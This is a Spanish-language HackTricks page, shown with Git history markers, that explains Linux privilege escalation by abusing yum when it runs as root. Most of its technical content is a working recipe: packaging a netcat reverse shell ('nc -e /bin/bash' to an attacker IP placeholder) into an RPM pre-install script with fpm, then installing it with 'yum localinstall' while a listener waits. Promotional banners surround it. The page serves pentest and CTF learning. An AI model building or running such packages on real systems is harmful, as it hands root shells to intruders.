hacktricks/linux-unix/privilege-escalation/exploiting-yum.md

56 lines
3.8 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Otras formas de apoyar a HackTricks:
2022-04-28 16:01:33 +00:00
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
Puedes encontrar más ejemplos sobre yum en [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
2020-11-26 04:33:08 +00:00
2023-06-03 01:46:23 +00:00
# Ejecución de comandos arbitrarios a través de paquetes RPM
## Verificando el Entorno
Para aprovechar este vector, el usuario debe poder ejecutar comandos yum como un usuario con mayores privilegios, es decir, root.
2020-11-26 04:33:08 +00:00
### Un ejemplo funcional de este vector
Un ejemplo funcional de este exploit se puede encontrar en la sala [daily bugle](https://tryhackme.com/room/dailybugle) en [tryhackme](https://tryhackme.com).
2020-11-26 04:33:08 +00:00
2023-06-03 01:46:23 +00:00
## Empaquetando un RPM
En la siguiente sección, cubriré cómo empaquetar una shell inversa en un RPM usando [fpm](https://github.com/jordansissel/fpm).
2020-11-26 04:33:08 +00:00
El ejemplo a continuación crea un paquete que incluye un disparador antes de la instalación con un script arbitrario que puede ser definido por el atacante. Cuando se instala, este paquete ejecutará el comando arbitrario. He usado un simple ejemplo de shell inversa netcat para la demostración, pero esto puede ser cambiado según sea necesario.
2020-11-26 04:33:08 +00:00
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
# Capturando una shell
2023-06-03 01:46:23 +00:00
Usando el ejemplo anterior y asumiendo que `yum` puede ser ejecutado como un usuario con mayores privilegios.
2020-11-26 04:33:08 +00:00
2023-06-03 01:46:23 +00:00
1. **Transfiere** el rpm al host
2. **Inicia** un listener en tu host local como el [ejemplo de listener netcat](/shells/shells/linux#netcat)
2023-06-03 01:46:23 +00:00
3. **Instala** el paquete vulnerable `yum localinstall -y exploited-1.0-1.noarch.rpm`
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>